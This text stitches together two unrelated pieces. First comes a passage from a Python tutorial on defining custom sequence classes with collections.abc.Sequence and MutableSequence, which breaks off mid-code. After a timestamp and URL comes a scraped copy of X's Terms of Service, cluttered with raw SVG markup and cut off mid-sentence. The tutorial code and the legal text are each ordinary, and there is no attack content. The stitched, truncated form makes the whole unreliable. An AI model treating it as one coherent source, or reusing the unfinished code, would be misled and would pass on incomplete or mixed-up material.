new script to run this code: Python draw_shape.py import turtle from shape import ShapePoints triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) # Draw the shape using turtle graphics turtle . penup () # Move to the first point turtle . setposition ( triangle [ 0 ]) turtle . pendown () # Draw lines to the other points for point in triangle [ 1 :]: turtle . setposition ( point ) turtle . done () The output shows the shape defined by the points in the ShapePoints object: You’ll continue to work with the ShapePoints class in the following section as you learn about another way to create user-defined sequences. Using the Abstract Base Class collections.abc.Sequence You’ve learned about the minimum requirements for an object to be a sequence. A sequence must be iterable, have a length, and be indexable. Many sequences can also be sliced but this is not a feature that’s universal to all sequences. There are other features that are common to many sequences, even though they’re not required. The abstract base class collections.abc.Sequence provides a template that defines the interface for most sequences. This abstract base class goes further than the minimum requirements. You can use this abstract base class to confirm whether a data type is a sequence: Python >>> from collections.abc import Sequence >>> isinstance ([ 2 , 4 , 6 ], Sequence ) True >>> isinstance (( 2 , 4 , 6 ), Sequence ) True >>> isinstance ({ 2 , 4 , 6 }, Sequence ) False >>> isinstance ({ "A Key" : "A Value" }, Sequence ) False You confirm that lists and tuples are sequences, but sets and dictionaries aren’t. However, the Sequence abstract base class sets a higher bar for defining sequences than the basic definition you learned earlier. You can try to check whether ShapePoints is a sequence: Python >>> from shape import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> isinstance ( triangle , Sequence ) False Earlier in this tutorial, you added special methods to ShapePoints to ensure it meets the requirements for a sequence. However, it doesn’t meet the higher standards set by the Sequence abstract base class. You’ll explore these additional features shortly. There are two apparent definitions of a sequence, which may lead to confusion. In practice, this is rarely an issue, and most sequences meet the higher standards set by the abstract base class Sequence . You can redefine the ShapePoints class in a new file called shape_abc.py . In this version, the class inherits from the Sequence abstract base class. Start by defining the class’s __init__() special method as in the earlier version: Python shape_abc.py from collections.abc import Sequence class ShapePoints ( Sequence ): def __init__ ( self , points ): self . points = list ( points ) if points and self . points [ 0 ] != self . points [ - 1 ]: self . points . append ( self . points [ 0 ]) The new class inherits from the abstract base class Sequence . Try to create an instance of this class in the REPL. Note that you’re now importing from the new module shape_abc.py : Python >>> from shape_abc import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) Traceback (most recent call last): ... TypeError : Can't instantiate abstract class ShapePoints without an implementation for abstract methods '__getitem__', '__len__' When you try to create an instance of ShapePoints , you get an error. You can’t have a sequence without the .__getitem__() and .__len__() methods. You need to define these in a way that suits your class before you can proceed. You can use the same definitions you used in the earlier version, and you can also add .__repr__() and .__iter__() : Python shape_abc.py from collections.abc import Sequence class ShapePoints ( Sequence ): def __init__ ( self , points ): self . points = list ( points ) if points and self . points [ 0 ] != self . points [ - 1 ]: self . points . append ( self . points [ 0 ]) def __repr__ ( self ): return f "ShapePoints( { self . points } )" def __getitem__ ( self , index ): return self . points [ index ] def __len__ ( self ): if self . points : return len ( self . points ) - 1 return 0 def __iter__ ( self ): return iter ( self . points ) The ShapePoints object now meets the stricter standards set by the Sequence abstract base class. You can confirm this in a new REPL session: Python >>> from collections.abc import Sequence >>> from shape_abc import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> isinstance ( triangle , Sequence ) True What does this mean? What extra features does ShapePoints have now that it’s a subclass of the collections.abc.Sequence abstract base class? You’ll explore the answers to these questions in the following sections. Remove ads The .index() and .count() Methods in Sequences Objects of different data types have different methods. However, some data types also share methods with similar names. For example, lists, strings, and tuples all have a .index() method to find the position of an item and a .count() method to find how often an item occurs in the data structure. In fact, these two methods are the only methods tuples have that aren’t special methods. Most sequences have access to .index() and .count() methods. These methods are part of the interface provided by collections.abc.Sequence . You can confirm this by calling these methods on the ShapePoints instance you created in the previous section: Python >>> from shape_abc import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> triangle ShapePoints([(100, 100), (-200, 100), (-200, -200), (100, 100)]) >>> triangle . index (( 100 , 100 )) 0 >>> triangle . count (( 100 , 100 )) 2 The object triangle has access to these methods even though you don’t define them when you create the ShapePoints class. The first output shows the index of the item (100, 100) , which is 0 . The .index() method returns the index of its argument’s first occurrence if there’s more than one. This method relies on .__getitem__() to fetch each item until the required value is found, or it raises a ValueError if the value is not present. The first element is repeated at the end of the sequence since shapes are closed. Therefore, .count() returns 2 as there are two occurrences of (100, 100) . This method relies on .__iter__() to iterate through the whole sequence and count the occurrences of the value passed as an argument. If .__iter__() is not defined, then .__getitem__() is used instead. However, you don’t want to count the first point in the shape twice, so you can override the .count() method: Python from collections.abc import Sequence class ShapePoints ( Sequence ): # ... def count ( self , value ): return self . points [: - 1 ] . count ( value ) You create your own .count() method rather than using the one inherited from the Sequence abstract base class. You exclude the last point in the shape by counting the number of occurrences of the required value in .points[:-1] . The slice includes all the points except the one with index -1 , which is the last element. You can refresh the REPL to make sure this works: Python >>> from shape_abc import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> triangle . count (( 100 , 100 )) 1 The .index() and .count() methods are included when you create a sequence by inheriting from the abstract base class. However, you can also override the default methods by defining your own versions. The Container and Reversible Features for Sequences Sequences usually also have two more characteristics: They are containers. They are reversible. In this section of the tutorial, you’ll explore these two data types characteristics and how to ensure your user-defined sequences are also containers and reversible. Many data structures are also containers , which means that Python can determine whether an element is a member of the data structure. A common way to find out whether a data structure contains an element is to use the in keyword: Python >>> countries = [ "USA" , "Canada" , "UK" , "Norway" , "Malta" , "India" ] >>> "Canada" in countries True >>> "Spain" in countries False However, this is not sufficient to confirm that a data structure is a container. For example, if you use the in keyword on an iterator, you may not get the results you expect: Python >>> countries_iterator = iter ( countries ) >>> "Canada" in countries_iterator True >>> "Canada" in countries_iterator False You create an iterator from the list countries . Python returns True the first time you check whether Canada is one of the countries included in the data structure. But an iterator generates items when they’re required and doesn’t store them. So, the second time you check for membership, Python returns False . That being the case, iterators are not containers. You can control the definition of membership of an element using the .__contains__() special method. This is one of the methods that’s included in the Sequence abstract base class. You can confirm that the class ShapePoints you created, which inherits from Sequence , has this special method: Python >>> from shape_abc import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> triangle . __contains__ (( 100 , 100 )) True >>> ( 100 , 100 ) in triangle True You call the special method .__contains__() directly on triangle to confirm this special method exists even though you didn’t define it in the class. It’s inherited from the Sequence abstract base class. Keep in mind that it’s best to avoid calling the special method directly. Special methods are intended to be called behind the scenes. For example, the .__contains__() special method is called when you use the in operator if the special method is available. If you have specific requirements for what membership means in a user-defined class, you can override this method: Python shape_abc.py from collections.abc import Sequence class ShapePoints ( Sequence ): # ... def __contains__ ( self , item ): print ( "Checking if item is in ShapePoints" ) return item in self . points You define the special method in the class definition. In this example, you add a call to print() to highlight when the program calls this method. When you repeat the statements from the previous REPL session, you’ll also see this text displayed: Python >>> from shape_abc import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> triangle . __contains__ (( 100 , 100 )) Checking if item is in ShapePoints True >>> ( 100 , 100 ) in triangle Checking if item is in ShapePoints True The extra sentence is printed when you call .__contains__() directly and when you use the in operator, which confirms that both expressions are equivalent. Another special method that’s included in the abstract base class Sequence is .__reversed__() . This method defines how a sequence can be reversed, and it’s called by functions such as the built-in reversed() . Note: The .__contains__() and .__reversed__() special methods aren’t necessary for an object to be a container and reversible. The .__getitem__() special method does a lot of heavy lifting, and Python will fall back onto this method to determine whether an item is a member of a data structure or to reverse the sequence. You can confirm this with the earlier version of ShapePoints you created, which doesn’t inherit from Sequence and, therefore, doesn’t include these special methods. However, these methods make the intention clearer and allow you to customize your class’s behavior. All sequences are containers and are reversible, and they include the .__contains__() and .__reversed__() special methods if they follow the collections.abc.Sequence requirements. Remove ads Creating Immutable and Mutable Sequences You defined a class called ShapePoints , which inherits from the abstract base class collections.abc.Sequence . Next, you try to modify one of the points in an instance of ShapePoints : Python >>> from shape_abc import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> triangle [ 1 ] (-200, 100) >>> triangle [ 1 ] = ( - 250 , 150 ) Traceback (most recent call last): ... TypeError : 'ShapePoints' object does not support item assignment The expression triangle[1] returns the tuple representing the second point in the shape. This behavior is defined by the .__getitem__() special method. However, when you try to assign a new tuple to the second position of your sequence, the program raises an exception. The sequence you create is immutable. Immutable built-in sequences include tuples and strings. Therefore, the sequence you create is similar to these built-in sequences since you can’t make changes to an object once it’s created. None of the methods and special methods available to the class make changes to the data stored within the sequence. All methods, whether you write them or they’re inherited from Sequence , return values without modifying the state of the object. Note: Special methods such as .__init__() and .__new__() do make changes to the object. But these are only called when you create a new instance since their purpose is to create a new object and initialize it. Still, it’s possible to have mutable sequences. The built-in list is the most common example of a mutable sequence. You’ll learn how to create a user-defined class for a mutable sequence in the following section. Requirements for Defining a User-Defined Mutable Sequence You can make your custom sequence mutable by inheriting from a different abstract base class called collections.abc.MutableSequence : Python shape_abc.py from collections.abc import MutableSequence class ShapePoints ( MutableSequence ): # ... You import MutableSequence instead of Sequence in shape_abc.py . The class ShapePoints now inherits from MutableSequence . However, you’ll get an error when you try to create an instance of this class in a new REPL session: Python >>> from shape_abc import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) Traceback (most recent call last): ... TypeError : Can't instantiate abstract class ShapePoints without an implementation for abstract methods '__delitem__', '__setitem__', 'insert' You can’t have a mutable sequence without defining three new methods: .__delitem__() : This special method defines what should happen when an item is deleted from the sequence, such as when you use the del keyword . .__setitem__() : This special method defines the object’s behavior when you assign a value to a position in the sequence, such as when you reassign a new value to replace an existing one. .insert() : This method defines the behavior when you insert a new value in an existing sequence. The data in a ShapePoints object is stored in a list within the data attribute .points . A list is a sequence, so you can use the list’s mutable properties: Python shape_abc.py from collections.abc import MutableSequence class ShapePoints ( MutableSequence ): # ... def __delitem__ ( self , index ): del self . points [ index ] def __setitem__ ( self , index , value ): self . points [ index ] = value def insert ( self , index , value ): self . points . insert ( index , value ) You define deleting an item from the sequence as the same as deleting the corresponding item from the list .points . The operations to set and insert an item also use the equivalent operations on the list .points . Adding these methods is sufficient to make the sequence mutable. You can also improve the logic in these methods to account for the special requirements for a closed shape, where the first and last elements are the same. You can account for this requirement in the definitions of the new methods. To start, update .__delitem__() : Python shape_abc.py 1 from collections.abc import MutableSequence 2 3 class ShapePoints ( MutableSequence ): 4 # ... 5 6 def __delitem__ ( self , index ): 7 if index in ( 0 , len ( self . points ) - 1 , - 1 ): 8 del self . points [ 0 ] 9 self . points [ - 1 ] = self . points [ 0 ] 10 else : 11 del self . points [ index ] 12 13 # ... Whenever you delete the first or last elements, which represent the same point, you need to delete the first element and replace the last element so it’s equal to the sequence’s new first element. Ideally, you should also ensure that the sequence isn’t empty before deleting an element, but you’ll change how you handle such sequences shortly. You implement this functionality in a few steps: In line 7, you check whether the index that you pass to .__delitem__() is either 0 , -1 , or the last index of self.points . If it is, then you’re dealing with the point that’s duplicated to represent a closed shape. If the expression in line 7 evaluates to True , then you delete the first point of your custom sequence in line 8. This removes the duplicate point at the beginning of your sequence. Next, in line 8, you remove the duplicate point from the end of the sequence by replacing it with the value of the new first point. That way, you’ve successfully removed both instances of the duplicate point. If you want to delete any other point of the sequence, then you delete it without any additional actions in the else block. You can confirm this works in a new REPL session. You add a few more points to the shape to make it easier to test the changes you made: Python >>> from shape_abc import ShapePoints >>> polygon = ShapePoints ( ... [ ... ( 20 , 20 ), ... ( - 200 , 0 ), ... ( 80 , 80 ), ... ( 50 , 50 ), ... ( 0 , 0 ), ... ] ... ) >>> polygon ShapePoints([(20, 20), (-200, 0), (80, 80), (50, 50), (0, 0), (20, 20)]) >>> del polygon [ 1 ] >>> polygon ShapePoints([(20, 20), (80, 80), (50, 50), (0, 0), (20, 20)]) >>> del polygon [ 0 ] >>> polygon ShapePoints([(80, 80), (50, 50), (0, 0), (80, 80)]) >>> del polygon [ - 1 ] >>> polygon ShapePoints([(50, 50), (0, 0), (50, 50)]) You start with a shape with five points. Since shapes are closed, the object actually has six elements as the first point is duplicated at the end of the sequence. Next, you delete an element that isn’t at either end of the sequence with the statement del polygon[1] . Only the second point is deleted. When you remove the first or last element, both ends are updated to reflect the new shape. Note that in the last step, the shape only has two points, since the last element is always equal to the first. This shape represents a line, which is not a closed shape. A ShapePoints object with only one point represents that point, which is also not a closed shape. If you prefer, you could define ShapePoints to be valid only for three or more points to ensure you have a closed shape: Python from collections.abc import MutableSequence class ShapePoints ( MutableSequence ): MIN_POINTS = 3 def __init__ ( self , points ): self . points = list ( points ) if len ( self . points ) < self . MIN_POINTS : raise ValueError ( f "Shape must have at least { self . MIN_POINTS } points" ) if self . points [ 0 ] != self . points [ - 1 ]: self . points . append ( self . points [ 0 ]) # ... def __delitem__ ( self , index ): if len ( self ) < self . MIN_POINTS + | 2026-01-13T08:49:27 |
https://x.com/tos#chapter4 | X Terms of Service Skip to main content Terms of Service <path opacity="0" d="M0 0h24v24H0z" /> <path d="M17.207 11.293l-7.5-7.5c-.39-.39-1.023-.39-1.414 0s-.39 1.023 0 1.414L15.086 12l-6.793 6.793c-.39.39-.39 1.023 0 1.414.195.195.45.293.707.293s.512-.098.707-.293l7.5-7.5c.39-.39.39-1.023 0-1.414z" /> </svg>" data-icon-arrow-left="<svg width="28px" height="28px" viewbox="0 0 28 28" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" focusable="false" role="none" class="twtr-icon u01b__icon-arrow-left"> <g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd" stroke-linecap="round"> <g transform="translate(-1216.000000, -298.000000)" stroke-width="2.25"> <g transform="translate(1200.000000, 282.000000)"> <g transform="translate(17.000000, 17.000000)"> <path d="M0.756410256,12.8589744 L25.7179487,12.8589744"></path> <path d="M13.2371795,25.3397436 L25.7179487,12.8589744"></path> <path d="M13.2371795,12.4807692 L25.3397436,0.378205128" transform="translate(19.288462, 6.429487) rotate(-90.000000) translate(-19.288462, -6.429487) "></path> </g> </g> </g> </g> </svg>" data-icon-chevron-down="<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" aria-hidden="true" focusable="false" role="none" class="twtr-icon"> <path opacity="0" d="M0 0h24v24H0z" /> <path d="M20.207 7.043c-.39-.39-1.023-.39-1.414 0L12 13.836 5.207 7.043c-.39-.39-1.023-.39-1.414 0s-.39 1.023 0 1.414l7.5 7.5c.195.195.45.293.707.293s.512-.098.707-.293l7.5-7.5c.39-.39.39-1.023 0-1.414z" /> </svg>" data-icon-close="<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewbox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve" aria-hidden="true" focusable="false" role="none" class="twtr-icon--md"> <g> <g> <defs> <rect id="SVGID_1_" x="-468" y="-1360" width="1440" height="3027" /> </defs> <clippath id="SVGID_2_"> <use xlink:href="#SVGID_1_" style="overflow:visible;" /> </clippath> </g> </g> <rect x="-468" y="-1360" class="st0" width="1440" height="3027" style="fill:rgb(0,0,0,0);stroke-width:3;stroke:rgb(0,0,0)" /> <path d="M13.4,12l5.8-5.8c0.4-0.4,0.4-1,0-1.4c-0.4-0.4-1-0.4-1.4,0L12,10.6L6.2,4.8c-0.4-0.4-1-0.4-1.4,0c-0.4,0.4-0.4,1,0,1.4 l5.8,5.8l-5.8,5.8c-0.4,0.4-0.4,1,0,1.4c0.2,0.2,0.4,0.3,0.7,0.3s0.5-0.1,0.7-0.3l5.8-5.8l5.8,5.8c0.2,0.2,0.5,0.3,0.7,0.3 s0.5-0.1,0.7-0.3c0.4-0.4,0.4-1,0-1.4L13.4,12z" /> </svg>" data-icon-search="<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" aria-hidden="true" focusable="false" role="none" class="twtr-icon"> <path opacity="0" d="M0 0h24v24H0z" /> <path d="M22.06 19.94l-3.73-3.73C19.38 14.737 20 12.942 20 11c0-4.97-4.03-9-9-9s-9 4.03-9 9 4.03 9 9 9c1.943 0 3.738-.622 5.21-1.67l3.73 3.73c.292.294.676.44 1.06.44s.768-.146 1.06-.44c.586-.585.586-1.535 0-2.12zM11 17c-3.308 0-6-2.692-6-6s2.692-6 6-6 6 2.692 6 6-2.692 6-6 6z" /> </svg>" data-icon-search-submit="<svg width="21" height="21" viewbox="0 0 21 21" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="none" class="twtr-icon"> <path fill-rule="evenodd" clip-rule="evenodd" d="M16.33 14.21L20.06 17.94C20.646 18.525 20.646 19.475 20.06 20.06C19.768 20.354 19.384 20.5 19 20.5C18.616 20.5 18.232 20.354 17.94 20.06L14.21 16.33C12.738 17.378 10.943 18 9 18C4.03 18 0 13.97 0 9C0 4.03 4.03 0 9 0C13.97 0 18 4.03 18 9C18 10.942 17.38 12.737 16.33 14.21ZM3 9C3 12.308 5.692 15 9 15C12.308 15 15 12.308 15 9C15 5.692 12.308 3 9 3C5.692 3 3 5.692 3 9Z" fill="white" /> </svg>" data-bg-color="white-neutral" data-root-page-title="Terms of Service" data-search-placeholder="Search" data-search-query-key="q" data-search-query-type="?" data-scribe-element="RJPO" data-scribe-section="u01b-navigation" data-cta-enabled="true" data-cta-text="Download PDF" data-cta-link="https://cdn.cms-twdigitalassets.com/content/dam/legal-twitter/site-assets/terms-of-service-2025-05-08/en/x-terms-of-service-2025-05-08.pdf" data-cta-link-new-tab="true"> Terms of Service We have made some updates to our Terms of Service. This version of the Terms of Service will go into effect on January 15, 2026. Until then, the current Terms of Service continue to apply. Summary of our Terms These Terms of Service (“Terms”) are part of the User Agreement – a legally binding contract governing your relationship with X. You should read these Terms in full, but here are a few key things you should take away: You will see advertising on the platform: In exchange for accessing the Services, X and our third-party providers and partners may display advertising to you. When posting Content and otherwise using the Services, you must comply with this User Agreement and Applicable Law: You are responsible for your use of the Services and your Content. You must comply with the User Agreement, including all applicable policies and rules, and all applicable laws. You must abide by the Services’ acceptable use terms: You may not access the Services in any way other than through the currently available, published interfaces that we provide. For example, this means that you cannot scrape the Services without X’s express written permission, try to work around any technical limitations we impose, or otherwise attempt to disrupt the operation of the Services. We have broad enforcement rights: X reserves the right to take enforcement actions against you if you do violate these terms, such as, for example, removing your Content, limiting visibility, discontinuing your access to X, or taking legal action. Certain jurisdictions, including the European Union and the United Kingdom, also impose obligations on X to enforce against not only illegal content but also categories of content deemed by law to be “harmful” or “unsafe.” As a result, your Content or account may be subject to restrictions in those jurisdictions. We may also suspend or terminate your account for other reasons, such as prolonged inactivity, risk of legal exposure, or commercial inviability. There are intellectual property licenses in these Terms: You retain ownership and rights to any of your Content you post or share, and you provide us with a broad, royalty-free license to make your Content available to the rest of the world and to let others do the same. Conversely, we provide you a license to use the software we provide as part of the Services, such as the X mobile application, solely for the purpose of enabling you to use and enjoy the benefit of the Services. Your use of the Services is at your own risk: We provide the Services on an “AS IS” and “AS AVAILABLE” basis, and we disclaim all warranties, responsibility, and liability to you or others to the extent permitted by law. You may be exposed to offensive or harmful Content posted by other users. The Services may change from time to time, and we may limit or terminate availability of the Services or particular features to you or other users at any time. You have remedies and redress mechanisms, but our liability is limited: You have a right to terminate this agreement at any time by deactivating your account and discontinuing use of the Services. Depending on your country of residence, we may not be liable for certain types of damages as described in the agreement, and in any event, our aggregate liability shall not exceed the greater of $100 USD or the amount you paid us, if any, in the past six months for the Services giving rise to the claim. Further, if you believe that your Content has been displayed on the Services in an unauthorized manner that constitutes copyright infringement, the reporting process is detailed in these Terms. If you are a recipient of the X Service in the United Kingdom, you may challenge enforcement actions (such as Content removal or account suspension) that breach these Terms by filing a complaint through our internal complaints process or by bringing a claim in a competent court, as provided under the Online Safety Act 2023. You can find details on how to file a complaint here . If you are a recipient of the X Service in the European Union, you may challenge certain decisions we make under the Digital Services Act (Regulation (EU) 2022/2065) via our internal process or via out-of-court dispute settlement as described here . Please also note that these Terms incorporate our Privacy Policy ( https://x.com/privacy ) as well as other terms applicable to your use of the Services and your Content. Finally, these Terms may vary depending on where you live, but in any case, you must be at least 13 years old to use X. If you live outside the European Union, EFTA States, or the United Kingdom, including if you live in the United States, the X User Agreement comprises these Terms of Service , our Privacy Policy , our Rules and Policies , and all incorporated policies. If you live in the European Union, EFTA States, or the United Kingdom, the X User Agreement comprises these Terms of Service , our Privacy Policy , our Rules and Policies , and all incorporated policies. X Terms of Service If you live outside the European Union, EFTA States, or the United Kingdom, including if you live in the United States These Terms of Service (“Terms”) govern your relationship with us and your and other users’ access to and use of, and anything otherwise relating to, our or our corporate affilitates’ services, including our various websites, SMS, APIs, email notifications, applications, buttons, widgets, ads, commerce services, and our other covered services ( https://help.x.com/rules-and-policies/x-services-and-corporate-affiliates ) that link to these Terms (collectively, the “Services”), and any information, text, links, graphics, photos, audio, videos, or other materials or arrangements of materials uploaded, downloaded or appearing on the Services (collectively referred to as “Content”). By using the Services you agree to be bound by these Terms. These Terms are an agreement between you and X Corp., which provides X and the Services, with its registered office at 865 FM 1209, Building 2, Bastrop, TX 78602 U.S.A. The words “we,” “us,” and “our” mean X Corp. 1. Who May Use the Services 2. Privacy 3. Content on the Services 4. Using the Services 5. Disclaimers and Limitations of Liability 6. General 1. Who May Use the Services 2. Privacy 3. Content on the Services 4. Using the Services 5. Disclaimers and Limitations of Liability 6. General 1. Who May Use the Services You may use the Services only if you agree to form a binding contract with us and are not a person barred from receiving services under the laws of the applicable jurisdiction. In any case, you must be at least 13 years old to use the Services. If you are (i) accepting these Terms and/or using the Services, which constitutes acceptance of these Terms, or (ii) accepting these Terms in order to authorize the use of the Services on behalf of a minor (being any person under the age of majority in any given country), company, organization, government, or other legal entity, you represent and warrant that you are authorized to do so or, as the case may be, have the authority to bind such minor and/or entity to these Terms. The words “you” and “your” as used in these Terms shall refer either to the person accepting these Terms or such minor (as defined in (i)) and/or the entity referenced in (ii), as applicable. 2. Privacy Our Privacy Policy ( https://x.com/privacy ) describes how we handle the information you provide to us when you use the Services. You understand that through your use of the Services you consent to the collection and use (as set forth in the Privacy Policy) of this information, including the transfer of this information to the United States, Ireland, and/or other countries for storage, processing and use by us and our affiliates. 3. Content on the Services You are responsible for your use of the Services and for any Content, including anything referenced therein, you provide, create, post, or otherwise utilize, including any inputs, prompts, outputs, and/or information obtained or created through the Services. It is your responsibility to comply with all applicable laws, rules, policies, and regulations that are applicable to you or your Content, including on a third party’s or our affiliates’ services. You should only provide, create, or generate Content that you are comfortable sharing with others. Any use or reliance on any Content or materials posted via the Services or obtained by you through the Services is at your own risk. We do not endorse, support, represent or guarantee the completeness, truthfulness, accuracy, or reliability of any Content or communications posted or otherwise obtained via the Services or endorse any alleged facts or opinions expressed via the Services. You understand that by using the Services, you may be exposed to Content that might be offensive, harmful, inaccurate or otherwise inappropriate, or in some cases, postings that have been mislabeled or are otherwise deceptive. All Content, including anything referenced therein, is the sole responsibility of the person who posted, generated, inputted, or created such Content. We may not monitor or control the Content posted, generated, inputted, or created via the Services, and we cannot take responsibility for such Content. We reserve the right to remove Content that violates the User Agreement, including for example, copyright or trademark violations or other intellectual property misappropriation, impersonation, unlawful conduct, or harassment. Certain jurisdictions, including the European Union and the United Kingdom, impose obligations on us to enforce against categories of content deemed by law to be harmful or unsafe, such as bullying and humiliating content, content that promotes or encourages feeding or eating disorders, as well as content that encourages or makes available knowledge of methods of self-harm and suicide. As a result, your Content may be subject to restrictions as required by these jurisdictions. Information regarding specific policies and the process for reporting or appealing violations can be found in our Help Center ( https://help.x.com/rules-and-policies , https://help.x.com/rules-and-policies/x-report-violation#specific-violations , and https://help.x.com/managing-your-account/suspended-x-accounts ). If you believe that your Content has been copied in a way that constitutes copyright infringement, please report this by visiting our Copyright reporting form ( https://help.x.com/forms/ipi ) or contacting our designated copyright agent at: X Corp. Attn: Copyright Agent 865 FM 1209, Building 2 Bastrop, TX 78602 Reports: https://help.x.com/forms/ipi Email: copyright@x.com Your Rights and Grant of Rights in the Content You retain your rights to any Content, including anything referenced therein, you submit, input, create, generate, post, or display on or through the Services. What’s yours is yours — you own your Content (and your incorporated audio, photos, and videos are considered part of the Content). In choosing to submit, input, create, generate, post, or display Content on or through the Services, you grant us a worldwide, non-exclusive, royalty-free license (with the right to sublicense) to use, copy, reproduce, process, adapt, modify, publish, transmit, display, upload, download, and distribute such Content, including anything referenced therein, in any and all media or distribution methods now known or later developed, for any purpose. For clarity, these rights include, for example, curating, transforming, and translating. This license authorizes us to make your Content available to the rest of the world and to let others do the same. You agree that this license includes the right for us to (i) analyze text and other information you provide and to otherwise provide, promote, and improve the Services, including, for example, for use with and training of our machine learning and artificial intelligence models, whether generative or another type; and (ii) to make Content submitted to or through the Services available to other companies, organizations or individuals, including, for example, for improving the Services and the syndication, broadcast, distribution, repost, promotion or publication of such Content on other media and services, subject to our terms and conditions for such Content use. Such additional uses by us, or other companies, organizations or individuals, is made with no compensation paid to you with respect to the Content that you submit, post, transmit or otherwise make available through the Services as the use of the Services by you is hereby agreed as being sufficient compensation for the Content and grant of rights herein. We have an evolving set of rules for how ecosystem partners can interact with your Content on the Services. These rules exist to enable an open ecosystem with your rights in mind. You understand that we may modify or adapt your Content as it is distributed, syndicated, published, or broadcast by us and our partners and/or make changes to your Content in order to adapt the Content to different media. You represent and warrant that you have, or have obtained, all rights, licenses, consents, permissions, power and/or authority necessary to grant the rights granted herein for any Content that you input, submit, create, post, generate, or display on or through the Services. You agree and warrant that such Content does not contain material subject to copyright or other proprietary rights, unless you have obtained the necessary permissions or are otherwise legally entitled to post or otherwise use the material and to grant us the license described above. 4. Using the Services Please review our Rules and Policies , which are part of the User Agreement and outline conduct that is prohibited on the Services, as well as categories of content deemed by law to be harmful or unsafe in certain jurisdictions. You may use the Services only in compliance with these Terms and all applicable laws, rules and regulations. X takes enforcement actions when Content or user behavior is in violation of our Rules and Policies or in relation to sensitive media. You can review X’s enforcement options and how you can appeal our enforcement decision here . The Services evolve constantly. As such, the Services may change from time to time, at our discretion. We may stop (permanently or temporarily) providing the Services or any features within the Services to you or to users generally. We also retain the right to create limits on use and storage at our sole discretion at any time. We may also remove or refuse to distribute any Content on the Services, limit distribution or visibility of any Content on the service, suspend or terminate users, and reclaim usernames without liability to you. In consideration for our granting you access to and use of the Services, you agree that we and our third-party providers and partners may place advertising on the Services or in connection with the display of Content or information from the Services whether submitted by you or others. We also reserve the right to access, read, preserve, and disclose any information as we reasonably believe is necessary to (i) satisfy any applicable law, regulation, legal process or governmental request; (ii) enforce the Terms, including investigation of potential violations hereof; (iii) detect, prevent, or otherwise address fraud, security or technical issues; (iv) respond to user support requests; or (v) protect the rights, property or safety of X, its users and the public. We do not disclose personally-identifying information to third parties except in accordance with our Privacy Policy . Certain services or features may be offered on X for which additional terms and conditions may apply in connection with your use of those services. By using or paying for any of these additional services, you agree to any additional terms applicable to those services, and those additional terms become part of our agreement with you. If any of the applicable additional terms conflict with these Terms, the additional terms will prevail while you are using those services to which they apply. If you use paid features, products, or services of the Services, you agree to the applicable Terms for Paid Services ( https://legal.x.com/purchaser-terms ). If you use developer features, products, or services of the Services, including but not limited to X for Websites ( https://developer.x.com/docs/x-for-websites ), X Cards ( https://developer.x.com/docs/x-for-websites/cards/overview/abouts-cards ), Public API ( https://developer.x.com/docs ), or Sign in with X ( https://docs.x.com/resources/fundamentals/authentication/guides/log-in-with-x ), you agree to our Developer Agreement ( https://developer.x.com/developer-terms/agreement ) and Developer Policy ( https://developer.x.com/developer-terms/policy ). If you want to reproduce, modify, create derivative works, distribute, sell, transfer, publicly display, publicly perform, transmit, or otherwise use the Services or Content on the Services, you must use the interfaces and instructions we provide, except as permitted through the Services, these Terms, or the terms provided on https://developer.x.com/developer-terms . Otherwise, all such actions are strictly prohibited. If you are a security researcher, you are required to comply with the rules of our Vulnerability Reporting Program ( https://hackerone.com/x ). The requirements set out in the preceding paragraph may not apply to those participating in our Vulnerability Reporting Program. If you use advertising features, products, or services of the Services in any way, including but not limited to self-service and managed service offerings, you agree that your use of the advertising features, products, and services as well as your advertisements are subject to the terms of our Master Services Agreement ( https://ads.x.com/terms ). Your Account You may need to create an account to use the Services. You are responsible for safeguarding your account, so use a strong password and limit its use to this account, and use two-factor authentication via an authenticator app or security key. We cannot and will not be liable for any loss or damage arising from your failure to comply with the above. You can control most communications from the Services. We may need to provide you with certain communications, such as service announcements and administrative messages. These communications are considered part of the Services and your account, and you may not be able to opt-out from receiving them. If you added your phone number to your account and you later change or deactivate that phone number, you must update your account information to help prevent us from communicating with anyone who acquires your old number. Your License to Use the Services We give you a personal, worldwide, royalty-free, non-assignable and non-exclusive license to use the software provided to you as part of the Services. This license cannot be assigned, gifted, sold, shared or transferred in any other manner to any other individual or entity without X’s express written consent. This license has the sole purpose of enabling you to use and enjoy the benefit of the Services as provided on X, in the manner permitted by these Terms. The Services are protected by copyright, trademark, and other laws of both the United States and other countries. Nothing in the Terms gives you a right to use the X name or Twitter name or any of the X or Twitter trademarks, logos, domain names, other distinctive brand features, and other proprietary rights, and you may not do so without our express written consent. All right, title, and interest in and to the Services (excluding Content provided by users) are and will remain our and our licensors' exclusive property. Any feedback, comments, or suggestions you may provide regarding X, or the Services is entirely voluntary and we will be free to use such feedback, comments or suggestions as we see fit and without any obligation to you. Misuse of the Services You also agree not to misuse the Services, for example, by interfering with them or accessing them using a method other than the interface and the 